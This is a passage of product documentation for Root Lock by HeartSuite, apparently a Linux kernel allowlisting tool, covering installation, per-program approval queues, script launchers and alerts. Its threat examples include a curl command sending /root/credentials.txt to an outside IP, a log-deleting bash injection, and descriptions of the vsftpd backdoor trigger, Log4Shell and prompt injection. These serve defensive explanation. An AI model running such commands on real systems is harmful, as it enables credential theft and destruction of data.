What Root Lock by HeartSuite does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to. When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker with root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.


An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock by HeartSuite does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate. The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server — the mechanism is identical for all of them: a socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock by HeartSuite Compares. Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries for the full picture.


When attackers stay within approved boundaries

Root Lock by HeartSuite enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock by HeartSuite sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell. If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs. Root Lock by HeartSuite limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused. Tight allowlisting limits the blast radius — and under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions. Nothing the attacker ran survives a reboot.

For detection and response when an attack stays within approved boundaries, see How Root Lock by HeartSuite Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.

2 - Getting Started

Choose your setup path and begin installation.

Overview: Root Lock by HeartSuite runs on two paths — Cloud (pre-installed instance, Dashboard appears on first login) and Local (manual installation with multiple reboots). Both converge at the Dashboard after Phase 1.

Before you begin

Check Before You Begin for system requirements and prerequisites, then follow your path below.

Cloud Path

Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — boot directly into Setup Mode and the Dashboard appears on first login. Follow the Suggested Next Step to begin Phase 2.

Local Path

Install Root Lock by HeartSuite on bare-metal or a custom VM:

  1. Obtaining Root Lock by HeartSuite — download the installer from heartsecsuite.com.
  2. Installation Part 1 — verify the download, run the installer, and reboot into the Root Lock by HeartSuite kernel.
  3. Installation Part 2 — complete the System Setup through multiple reboot cycles until the Dashboard confirms Phase 1 is complete.
  4. Verifying Installation — confirm Phase 1 is complete in the Dashboard.

Once Phase 1 is complete, both paths merge — the Dashboard shows your current phase and the Suggested Next Step directs you to begin allowlisting.

2.1 - Before You Begin

System requirements and prerequisites for installing Root Lock by HeartSuite.

Overview: Two setup paths: Cloud (boot a pre-installed instance) or Local (install the kernel yourself). Confirm the requirements below match your system, then follow your path.

System requirements

  • Operating System: x86 (64-bit) Linux — Debian 11–13, Ubuntu-derived, Alpine, or RPM-based (Rocky 9.7 validated; Fedora 41, CentOS Stream 9 validated; RHEL/AlmaLinux/SLES: customer validation). See Distro Compatibility Matrix.
  • Access Level: Root access (sudo privileges).
  • Skills: Basic familiarity with the Linux command line.

If your setup differs, check the Introduction for compatibility details.

Choosing your setup path

  • Cloud Path: Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — you boot directly into Setup Mode and the Dashboard appears on first login.
  • Local Path: Download the installation package from heartsecsuite.com, extract, install the Root Lock by HeartSuite kernel, and complete the Installation setup through multiple reboot cycles before reaching the Dashboard.

Both paths merge at the Dashboard after Phase 1 (System Verification) is complete.

Ready to install?

3 - Obtaining and Installing Root Lock by HeartSuite

Download and installation steps for Root Lock by HeartSuite.

Overview: Root Lock by HeartSuite installation follows one of two paths depending on your deployment method. Both paths end at the Dashboard, where Phase 1 (System Verification) confirms that the machine is ready for allowlisting.

Cloud Path

Launch a pre-configured cloud instance (e.g., AWS AMI, GCP image). The Root Lock by HeartSuite kernel is already installed and the Dashboard confirms Phase 1 is complete on first boot and appears immediately — skip ahead to the allowlisting queues.

Local Path

Run a single install command, then reboot multiple times to build the initial allowlist of startup and shutdown programs. This path involves:

  1. Obtaining Root Lock by HeartSuite — Run the install command.
  2. Installation Part 1 — Run the installer and reboot to load the kernel.
  3. Installation Part 2 — Complete the System Setup steps to allowlist startup and shutdown programs.

After the final reboot cycle, the Dashboard appears and displays the Suggested Next Step to guide you into Phase 2 (Program Allowlisting).

3.1 - Obtaining Root Lock by HeartSuite

Install Root Lock by HeartSuite with a single command.

Overview: Install Root Lock by HeartSuite with a single command.

Run the following command on the target system:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo sh

The script downloads and installs the Root Lock by HeartSuite kernel, tools, and Dashboard, then reboots automatically. Proceed to Installation Part 1 after the reboot.

3.2 - Installing Root Lock by HeartSuite – Part 1

Install the Root Lock by HeartSuite kernel and boot into it for the first time.

Overview: After running the install command, the machine reboots into the Root Lock by HeartSuite kernel.

Reboot into the Root Lock by HeartSuite kernel

The installer sets the Root Lock by HeartSuite kernel as the default boot target and reboots automatically. A 5-second countdown appears — press Ctrl+C to cancel if you need to inspect logs before rebooting.

After reboot, Root Lock by HeartSuite reads the startup and shutdown logs and adds those programs to the allowlist automatically. Continue with Installation Part 2.

If the system does not boot into HeartSuite

If the machine boots to the wrong kernel or hangs:

  1. Verify the installer completed without errors before the reboot fired.
  2. Reboot and select the Root Lock by HeartSuite kernel from the GRUB menu manually.

If the issue persists, contact HeartSuite support — we’re happy to help.

3.3 - Installing Root Lock by HeartSuite – Part 2

Root Lock by HeartSuite builds the initial allowlist automatically after the first boot. The Dashboard appears when setup is complete.

Overview: No commands are needed after the first boot into the Root Lock by HeartSuite kernel. Root Lock by HeartSuite reads the startup and shutdown logs and adds the programs it finds to the allowlist — the Dashboard appears when this is complete and directs you into Phase 2 (Program Allowlisting).

What happens after the first boot

Root Lock by HeartSuite reads the startup and shutdown logs, adds the programs it finds to the allowlist, and reboots. This repeats until no new programs are found — typically three to five passes, depending on the distribution.

While setup is running, you will see:

  • Over SSH: each time you reconnect, the login shows a brief status line and drops you at a regular shell — no action needed:

    HeartSuite Phase 1 is running — step N of unknown total.
    The system reboots automatically. Reconnect in a few minutes.
    
  • On the serial console (virsh console, AWS/Azure/GCP serial console, IPMI SOL): attach and press Enter — the console autologs in and shows the current step. No action needed.

The first time you connect and the Dashboard appears, setup is complete. The Dashboard shows the reboot history and the Suggested Next Step directs you into Phase 2 (Program Allowlisting).

If the Dashboard does not appear

If setup is still running, SSH reconnects show the status line above instead of the Dashboard. Wait a few minutes and reconnect.

If repeated reconnects still show the status line rather than the Dashboard:

  1. Open the serial console (virsh console <vm> for KVM, AWS/Azure/GCP serial console, IPMI SOL) and press Enter to see the current step. If it has not advanced across reboots, run journalctl -u heartsuite-phase1 to see the setup output.

  2. Verify the Root Lock by HeartSuite kernel is loaded:

    uname -r
    

    Expected output ends in HeartSuite (for example, 6.18.9-HeartSuite-1.0).

  3. If the wrong kernel booted, reboot and select the Root Lock by HeartSuite kernel from the GRUB menu manually.

If setup stops with an error

If something goes wrong during setup, the next login shows an error with the reason and the last output from the setup process.

Two options are available:

  • [r] Retry — restarts the setup from where it stopped.
  • [q] Open shell — drops you to a shell to investigate before retrying.

When the Dashboard appears and Phase 1 is confirmed, continue to Verifying Installation.

4 - Verifying Installation and Basic Setup

Checking Root Lock by HeartSuite activation and initial configuration.

Overview: Phase 1 (System Verification) confirms that Root Lock by HeartSuite is active and the machine is ready for allowlisting. On the Cloud Path, the Dashboard confirms Phase 1 is complete on first boot. On the Local Path, the Dashboard confirms Phase 1 is complete once the installation process is done.

Cloud Path and Local Path

Cloud Path

When you launch a pre-installed Root Lock by HeartSuite cloud instance, the Dashboard confirms Phase 1 is complete on first boot and suggests the next step.

Local Path

After completing the local installation process (download, GRUB preparation, kernel install, and the System Setup’s multiple steps), the Dashboard appears once Phase 1 is complete. From here, both paths proceed identically.

What the Dashboard shows

When Phase 1 is complete, the Dashboard confirms:

  • Protection state (indicator at the top): Shows SETUP MODE: Root Lock by HeartSuite is active, logging only, nothing blocked
  • Phase Progress: Shows Phase 1 as Complete
  • Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode, time in mode, and lockdown status
  • Suggested Next Step: Directs you to begin Phase 2: Program Allowlisting

No user action is required and no manual verification command is needed. The Dashboard confirms this automatically.

Protection state

The protection state indicator appears as a full-width, high-contrast bar at the top of the Dashboard. Its content depends on the current system state:

StateIndicator
Setup ModeSETUP MODE: logging only, nothing is blocked
Lockdown (no immutable seal)LOCKDOWN: immutable seal not applied
Lockdown + sealedNo indicator (silence means safety)
maintenance kernelmaintenance kernel: Root Lock not active. No blocking. No logging. No backups.

Status line at the bottom

Below the protection state indicator, a status line shows:

Root Lock    Setup Mode active for 3d 7h: logging only, nothing is blocked
  • Kernel indicator: “Root Lock” (when the Root Lock by HeartSuite kernel is active) or “maintenance kernel” (when booted to the recovery kernel with no Root Lock by HeartSuite loaded)
  • Mode: Setup Mode or Lockdown, with time in current mode
  • Lockdown: (Setup Mode), Not applied (Lockdown without immutable seal), or Applied (Lockdown with immutable seal)

What to do if verification fails

If Phase 1 does not complete, or the indicator at the top shows a state you did not expect (for example, “maintenance kernel” when you intended to boot Root Lock by HeartSuite):

  1. Check the status line at the bottom of the Dashboard. It shows the kernel indicator (“Root Lock” or “maintenance kernel”). If it shows the maintenance kernel, reboot and select the Root Lock by HeartSuite kernel from the GRUB menu.

  2. Check that the Root Lock by HeartSuite systemd service is running:

    systemctl status heartsuite
    
  3. For local installations, verify that the System Setup completed — it shows Setup Complete in green when all startup and shutdown programs have been allowlisted. If not, return to the System Setup and press [a] to run another step.

  4. If the Dashboard shows “UNKNOWN STATE: protection status cannot be determined”, follow the Suggested Next Step displayed on the Dashboard.

  5. If the issue persists, contact support at support@heartsecsuite.com.

With Phase 1 confirmed, follow the Dashboard’s Suggested Next Step to begin Phase 2: Program Allowlisting.

5 - Allowlisting Programs

Adding programs to the allowlist for secure execution.

Overview: By default, any program on a Linux server can execute, access any file, and connect to any destination. Root Lock by HeartSuite controls all three per program — not per user, per program. Two different programs running under the same user get separate allowlist entries with separate permissions. The Dashboard guides you through each approval phase and tracks your progress.

Allowlisting spans three phases of the Root Lock by HeartSuite setup process:

  • Phase 2 — Program Allowlisting ([p]): Approve which programs are permitted to execute.
  • Phase 4 — File Access Allowlisting ([f]): Approve which files and directories each program can read or write.
  • Phase 5 — Internet Access Allowlisting ([i]): Approve which outbound internet destinations each program can reach.

Start from the Dashboard — it shows how many items are waiting in each queue and the Suggested Next Step directs you to whichever needs attention. The review queues manage volume through intelligent grouping, not blind bulk approval.

In this section

5.1 - Allowlisting Basics

Overview and basic procedures for allowlisting programs in Root Lock by HeartSuite.

Overview: A program running without restrictions on a server can read any file, write anywhere, and connect to any destination. Root Lock by HeartSuite requires every program to be explicitly approved to execute, to access files, and to make network connections — each independently. Even a legitimate tool already on your allowlist — curl, python, a system utility — can only reach the files and network destinations its specific allowlist entry approves. The Dashboard and its review queues walk you through each approval, with full metadata and intelligent grouping to manage volume.

The three review queues

In Setup Mode, Root Lock by HeartSuite logs every program execution, file access attempt, and outbound network connection without blocking anything. These populate three review queues visible from the Dashboard:

  • Programs queue ([p]) — programs that attempted to execute
  • File Access queue ([f]) — programs that attempted to read or write files
  • Internet Access queue ([i]) — programs that attempted outbound connections

The Dashboard shows pending counts for each queue and provides a Suggested Next Step directing you to the queue that needs attention first.

The queues build on each other. File access and network violations are only recorded for programs that have already been approved in the Programs queue. A program making live network connections will not appear in the Internet Access queue until you have approved it in the Programs queue first. If Internet Access or File Access appears empty while you know the system is active, check whether the Programs queue still has pending items.

Working through a queue

Starting a review

The Dashboard displays pending counts for each queue. The Suggested Next Step directs you to the queue that needs attention first. Select a queue to begin reviewing.

Single-key actions

The footer shows the primary actions available at any point:

KeyAction
[a]Approve
[s]Skip for now (defer without approving)
[n]Navigate to the next denied item — Lockdown only
[?]Explain — what this approval means
[q]Return to the Dashboard

Two additional keys appear contextually, not in the footer:

KeyWhen available
[u]Undo — available for 5 seconds after an approval; cancels the last approval and returns the item to the queue

Metadata shown in review

Every review item displays metadata directly in the primary prompt — you do not need to press a key to see it. The fields shown include:

FieldDescription
PackagePackage name and version from the distro database
DescriptionOne-line package summary
CategoryPackage section (e.g., “editors”, “web”, “python”)
MaintainerPackage maintainer string
HomepagePackage homepage URL
InstalledDate the package was installed or last updated

When a program has no entry in any package database, Root Lock by HeartSuite displays the raw file path with “(no package)” in the metadata fields. Missing metadata is never hidden — the absence of information is itself a signal.

Individual and grouped review

The review queues handle large volumes without requiring blind bulk approval. Volume is managed through intelligent grouping, not through approving things you cannot see.

Individual review

Each item is presented one at a time with full metadata. Example for a program execution:

Program attempted to execute:
/usr/bin/nano
Package:     nano 7.2-1 -- small, friendly text editor
Attempts:    3

This program has not been allowlisted.

[a] Approve execution
[s] Skip for now
[?] What does approving this mean?

Grouped review

Related items are grouped together (e.g., “847 file reads from /usr/lib/python3/”). Root Lock by HeartSuite shows a sample of the grouped items so you can confirm the grouping makes sense before approving.

Queue summary

When the volume of remaining items is large, Root Lock by HeartSuite presents a summary of what is ahead — total counts and a breakdown by program — before you begin reviewing. This is an orientation view, not an approval surface. Press [a] or [Enter] to proceed into individual review.

Programs queue (Phase 2)

When a program executes without an allowlist entry, Root Lock by HeartSuite logs it. The Programs queue presents it for review.

What the groups mean

Programs are grouped into sections in the program list on the left. These groups determine the order items appear, placing items that need the most investigation first:

GroupMeaning
Unknown originProgram has no entry in any known package database. No metadata beyond the file path.
Installed after OSProgram belongs to a package installed after the OS provisioning date.
Installed with OSProgram belongs to a package whose install date matches the inferred OS provisioning date.
Root Lock by HeartSuiteFile path falls under /.hs/. Origin is known; no investigation needed. Sorted last.

The sort order is a workflow convenience that determines which programs appear first. It is not a trust ranking and does not affect the approval mechanism. Every program receives the same approve and skip options.

From the Dashboard, select the Programs queue ([p]). Each program is presented with its package metadata. Press [a] to approve execution or [s] to skip.

Programs queue review item with package metadata and action keys

File Access queue (Phase 4)

Once you approve a program’s execution, Root Lock by HeartSuite begins logging every file it accesses. Programs typically access shared libraries, configuration files, and data files. The File Access queue presents them with two distinct permission levels:

  • Read access — the default first approval level when approving a file read.
  • Write access — always includes read access. Granted when approving a file write.

Example review prompt for a file read:

/usr/bin/python3 attempted to read:
/usr/lib/python3/dist-packages/apt/__init__.py
Program:     python3 3.11.2-1 -- interactive high-level object-oriented language
File owner:  python3-apt 2.6.0
Attempts:    12

This file access has not been allowlisted.

[a] Approve read access
[s] Skip for now
[?] What does approving this mean?

Example review prompt for a file write:

/usr/bin/journald attempted to write:
/var/log/journal/machine-id/system.journal
Program:     systemd 252-19 -- system and service manager
File owner:  systemd 252-19
Attempts:    3

This file access has not been allowlisted.

[a] Approve read and write access
[s] Skip for now
[?] What does approving this mean?

From the Dashboard, select the File Access queue ([f]).

File access queue — python3 grouped reads with sample files

Internet Access queue (Phase 5)

Programs that attempt outbound internet connections are logged with the destination IP address and reverse DNS hostname. The Internet Access queue presents these for review.

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 -- example.com (Edgecast, US)
Program:     curl 7.88.1-10 -- command line tool for transferring data with URL syntax
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

From the Dashboard, select the Internet Access queue ([i]).

Internet access queue with destination IP and reverse DNS

Progress and completion

While working through a queue, a progress indicator shows your position:

Programs: reviewing 3 of 7  ───────────────────────────────

When a queue is empty:

All program events resolved.
Returning to Dashboard…

Allow several days to a week of observation in Setup Mode to capture activity from systemd timers, cron jobs, and infrequent services before activating Lockdown.

Review queues in Lockdown

In Lockdown the review queues are read-only. [a] and [s] do nothing — you cannot approve items while in Lockdown. The queues show denied items (actions Root Lock by HeartSuite blocked), not pending items awaiting approval.

Use [n] to navigate through denied items one by one. To approve a denied program, file access, or network destination, enter a maintenance period first via the Maintenance ([m]) — this switches to Setup Mode where the review queues become interactive again.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides a browser and editor for existing allowlist entries. See its built-in help:

# hs-manage-allowlist --help

The Dashboard is the supported path for normal use.

When the Programs queue (Phase 2) is empty, the Dashboard’s Suggested Next Step directs you to Phase 3: Script Launchers — or to Phase 4 (File Access) if launchers are not applicable. The Dashboard tracks which phases remain and always shows what needs attention next.

5.2 - Batch Allowlisting Tools

CLI tools for scripted and automated allowlisting workflows.

Overview: The Dashboard review queues handle allowlisting for routine setup — grouped review, metadata enrichment, and intelligent grouping cover most workflows. The tools below are for scripted deployments and direct allowlist management where CLI access is required.

These CLI tools are the integration points for external control: your central automation (Ansible playbooks, Terraform provisioners, GitOps pipelines, ServiceNow flows, Puppet, or custom scripts) prepares policy data and invokes the tools on each host to apply or harvest allowlists. See Central Policy Management and External Control for patterns and examples; for Ansible fleets, the official heartsecurity.root_lock role documented there is the preferred declarative path over direct CLI invocation. Pre-seeding via these tools accelerates fleet onboarding for standard configurations.

batch_record_add.py

batch_record_add.py creates allowlist entries in bulk from a plain text file of program paths — one path per line. For each path, it adds the program with /usr/lib and /etc as default allowed directories. This tool is located in /.hs/sys/ and requires root:

# /.hs/sys/batch_record_add.py <file>

Where <file> contains one absolute program path per line, for example:

/usr/bin/nano
/usr/bin/curl
/usr/bin/wget

hs-manage-allowlist

hs-manage-allowlist provides a browser and editor for existing allowlist entries. It is not a review tool — it operates on entries that have already been created. Use it to inspect, modify, or remove existing entries:

# hs-manage-allowlist --help

Both tools require root. Run them from a root shell:

# sudo -s

Exit with Ctrl-D when finished.

6 - Script Launchers and Python Setup

Setting up secure launchers for scripts like Python, Perl, and PHP.

Overview: Without Secure Script Launchers, every Python, Perl, or PHP script would share the interpreter’s permissions — if python3 is allowed to access the network, every Python script can access the network. Secure Script Launchers solve this by giving each script its own allowlist entry, so you control exactly what each script can do. The Dashboard presents this as Phase 3 when script interpreters are detected on the system.

In this section

Once launchers are configured (or skipped), the Dashboard directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]) — see Allowlisting Basics.

6.1 - How Script Launchers Work

Explanation of Root Lock by HeartSuite’s secure script launchers and their security benefits.

Overview: Without Secure Script Launchers, every script run by an interpreter (Python, Perl, PHP) shares the interpreter’s permissions. If python3 is allowed to access the network, every Python script inherits that access. Secure Script Launchers solve this by giving each script its own allowlist entry.

Why allowlisting the interpreter is not enough

Interpreter programs (Python, PHP, Perl, Bash) execute code from files. When you allowlist python3, you grant permissions to the interpreter — and every script it runs inherits those permissions. A malicious Python script would have the same file and network access as your legitimate scripts.

graph LR
    subgraph without["Without launcher — interpreter is the unit of control"]
        P["python3\none allowlist entry"] --> SA["script_a.py"]
        P --> SB["script_b.py"]
        SA --> PA["network ✓  files ✓"]
        SB --> PB["network ✓  files ✓"]
    end

    subgraph with["With Secure Script Launcher — each script is the unit of control"]
        L["hs-python-launcher"] --> SA2["script_a.py\nown allowlist entry"]
        L --> SB2["script_b.py\nown allowlist entry"]
        SA2 --> PA2["network ✓"]
        SB2 --> PB2["no network ✗"]
    end

Per-script allowlist entries

Secure Script Launchers create a wrapper that applies the individual script’s allowlist entry instead of the interpreter’s:

  • Each script is treated like a standalone program with its own permissions
  • One script can have network access while another cannot
  • Interpreters can be blocked entirely — only allowlisted scripts run

Using launchers

Root Lock by HeartSuite provides Secure Script Launchers for each supported interpreter (e.g., hs-python-launcher). Once activated via the Dashboard’s Launchers ([s]), every call to that interpreter automatically routes through the launcher — applying per-script permissions without any change to how you run scripts.

See Configuring Script Launchers for the activation steps.

6.2 - Configuring Script Launchers

How to activate per-script allowlisting for Python, Perl, and PHP interpreters.

Overview: An interpreter like Python, Perl, or PHP executes many different scripts — without additional control, a single allowlist entry for the interpreter applies to all of them equally. Secure Script Launchers identify the specific script being executed and apply a separate allowlist entry for it, giving each script its own file and network permissions. The Launchers ([s]) shows detected interpreters and activates launchers in one step.

Activating launchers

From the Dashboard, select Launchers ([s]). The Dashboard shows two sections:

  • Script Launcher Status — how many interpreters were detected and how many launchers are pending activation
  • Detected Interpreters — the list of interpreter paths found in the activity log, with their current launcher status

When launchers are pending, the Dashboard shows:

2 interpreter(s) found across 47 log event(s).
2 launcher(s) available but not yet activated.

[a] Activate   [s] Skip

Script Launchers with 2 pending interpreters

Press [a] to activate all pending launchers at once. Root Lock by HeartSuite registers each interpreter with its Secure Script Launcher — from this point forward, every call to that interpreter automatically routes through the launcher, applying per-script permissions.

After activation, the Dashboard confirms which launchers were activated:

Activated 2 Secure Script Launcher(s): python3, perl.
Each interpreter now routes through its launcher. Scripts using
these interpreters will be reviewed on their own permission terms.

Press [q] to return to the Dashboard. The Dashboard marks Phase 3 complete.

If no script interpreters are detected

If none of the known interpreters have appeared in the activity log yet, the Dashboard shows:

No script interpreter log events detected.
You may proceed to the next phase without activating any launchers.

Phase 3 is not required if your system does not use script interpreters.

Skipping launcher setup

Press [s] to skip without activating. Root Lock by HeartSuite notifies you:

Script launcher activation skipped.
Interpreters will remain blocked in Lockdown until approved.

You can return to the Launchers ([s]) at any time to activate launchers before activating Lockdown.

Testing a launcher directly

Before or after Dashboard activation, you can run a script through a specific launcher directly to verify it works under its own permissions:

# hs-python-launcher /path/to/your-script.py

This applies the script’s allowlist entry rather than the interpreter’s. Running the same script with python3 directly uses the interpreter’s broader permissions. This is useful for verifying per-script permissions in isolation before relying on them in Lockdown.

After activating launchers, return to the Dashboard — the Suggested Next Step directs you to Phase 4: File Access Allowlisting via the File Access queue ([f]).

6.3 - Included Script Launchers

List of available secure script launchers in Root Lock by HeartSuite.

Overview: Root Lock by HeartSuite ships with Secure Script Launchers for common interpreters. The Dashboard presents these during Phase 3 (if applicable) when the corresponding interpreters are detected on the system.

Available launchers

  • Python 3 (hs-python-launcher)
  • Python 2 (hs-python2-launcher)
  • Perl (hs-perl-launcher)
  • PHP (hs-php-launcher)

For questions about launcher support for other interpreters, contact support@heartsecsuite.com.

7 - Network and Remote Access

Reviewing and approving internet destinations for each program.

Overview: Programs make outbound connections you never approved (telemetry, update beacons, C2 callbacks). Root Lock by HeartSuite blocks all outbound network connections by default. No program can connect to any destination unless you have explicitly approved it. The Dashboard’s Internet Access queue ([i]) guides you through reviewing and approving destinations for each program as part of Phase 5.

Per-program, per-destination enforcement

In Setup Mode, Root Lock by HeartSuite logs every outbound connection attempt without blocking it. These connection attempts appear in the Dashboard’s Internet Access queue. In Lockdown, any connection to a destination not on the allowlist is blocked and an alert is generated.

Network permissions are per-program and per-destination. Approving 93.184.216.34 for curl does not allow wget to connect to the same address; each program must have its own approved destinations. Root Lock by HeartSuite approves specific IPv4 and IPv6 addresses, not CIDR ranges, hostnames, or wildcards.

Using the Internet Access queue

Select the Internet Access queue from the Dashboard ([i]). Each connection shows:

  • Program: the full path and package metadata (name, version, description, maintainer)
  • Destination: the IP address with reverse DNS hostname (e.g., 93.184.216.34 (example.com, Edgecast, US))
  • Attempts: how many times this connection was attempted

Example review prompt:

/usr/bin/curl attempted an outbound connection:
Destination: 93.184.216.34 (example.com, Edgecast, US)
Program:     curl 7.88.1-10 (command line tool for transferring data with URL syntax)
Attempts:    7

This destination has not been allowlisted for this program.

[a] Approve this connection for /usr/bin/curl
[s] Skip for now

Press [a] to approve the destination for that program, or [s] to skip it for later.

When the Internet Access queue is empty, the Dashboard marks Phase 5 as complete and updates the Suggested Next Step.

Approving a network destination

Suppose wget is on the program allowlist but no network destinations have been approved. Running:

# wget https://example.com/agreement.html

Root Lock by HeartSuite intercepts the connection and the attempt appears in the Internet Access queue with the destination 45.60.22.168 (example.com). After you approve it, the same wget command completes without generating another entry for that IP address.

Reviewing existing network permissions

To browse or edit network destinations that have already been approved, select Allowed ([a]) from the Dashboard. Existing entries are grouped by category (Programs, File Access, and Internet Access) so you can quickly find and modify network permissions.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-manage-allowlist provides direct CLI access:

# hs-manage-allowlist add -x /usr/bin/wget -n 45.60.22.168

Or look up the entry number first:

# hs-manage-allowlist list | grep wget
277
/usr/bin/wget
# hs-manage-allowlist add -r 277 -n 192.142.166.196

The Dashboard is the supported path for normal use.

For general allowlisting concepts (program execution, file access, write permissions), see Allowlisting Basics.

When the Internet Access queue is empty, the Dashboard marks Phase 5 complete and directs you to Phase 6: Alert Settings.

Inbound connections

Root Lock by HeartSuite manages outbound connections only. Inbound connection filtering (restricting which ports are reachable, blocking port scans, rate-limiting login attempts) is outside its scope. Use the OS firewall (iptables, nftables, ufw) or cloud provider security groups for inbound network controls.

8 - Alert Settings

Configuring push alert channels for blocks and state changes in Lockdown.

Overview: In Lockdown, the kernel blocks any execution, file access, or network connection not on the allowlist — whether or not anyone is connected to the Dashboard. Without alerts, a blocked program fails silently. Alerts notify you of these blocks and of state changes the moment they happen. On a stable system with a complete allowlist, alerts are rare — most weeks you receive none at all. An alert means something genuinely unexpected happened.

For fleet and enterprise scale

Single-host setup is on this page (Dashboard → Alert Settings, Phase 6). For production fleets and compliance programmes, use the dedicated guides:

  • SIEM and Fleet Integration — Syslog, webhook, and status JSON for Splunk, Elastic, PagerDuty, and similar tools. The recommended path when you manage many servers without per-host TUI toil.
  • Central Policy Management and External Control — Drive allowlist policy from Ansible, Terraform, ServiceNow, GitOps, and custom automation; consume syslog, JSONL approval logs, status.json, and webhooks for central visibility.

Alert Settings configured with SMTP and syslog

When alerts fire

Alerts are a push channel for blocks and state changes that warrant immediate attention. They are not a secondary log stream and not a replacement for the Dashboard.

Alerts are suppressed entirely in Setup Mode. Setup Mode is a high-volume observation phase — logging everything without blocking. Alerting during this phase would produce constant noise before the allowlist is complete. Alerts become active only when Lockdown is active.

Configuring alerts

From the Dashboard, select Alert Settings ([e]). Alert Settings has two tabs: Email and Fleet.

Email tab

Configure SMTP credentials to receive email alerts directly. Required fields:

  • Node ID — defaults to the system hostname; set a recognisable identifier (e.g., prod-web-03) so email subjects immediately identify the source machine when managing multiple servers
  • SMTP server and Port (default 587)
  • Sender and Recipient addresses
  • Password (masked on entry; never displayed after saving)

Select Save to store the configuration. Root Lock by HeartSuite validates all fields but does not attempt a live connection at save time. Select Test to send a test email — this is the only moment where SMTP connectivity is verified. If the test fails, the exact SMTP error code is shown:

Test email failed: [535 Authentication credentials invalid]

Check your credentials and try again. No alerts have been sent.

Once configured, the tab shows current settings with the password displayed as (set). Select Edit to modify — the password field is always blank when editing. You must re-enter the password to prevent credentials from appearing in the terminal scroll buffer.

Fleet tab

Configure syslog and webhook delivery for fleet and SIEM integrations. All channels are independent — enable any combination.

Syslog — A toggle (Enabled/Disabled). When enabled, Root Lock by HeartSuite writes all alerts to the system log via /dev/log, using the heartsuite-alert ident, LOG_AUTH facility, and LOG_WARNING severity. No additional configuration is needed on the Root Lock by HeartSuite node. After enabling, the Alert Settings provides an rsyslog forwarding rule example for your SIEM.

Verify syslog delivery with:

journalctl -t heartsuite-alert --since "1 minute ago"

To forward to a SIEM, configure an rsyslog output rule in /etc/rsyslog.d/heartsuite.conf. See the rsyslog omfwd forwarding module documentation for forwarding syntax, and your SIEM’s own documentation for the receiving end:

Webhook — Enter an HTTPS URL. Root Lock by HeartSuite POSTs a JSON payload to this URL on every alert. HTTP (non-TLS) URLs are rejected. Example payload:

{
  "node_id":    "prod-web-03",
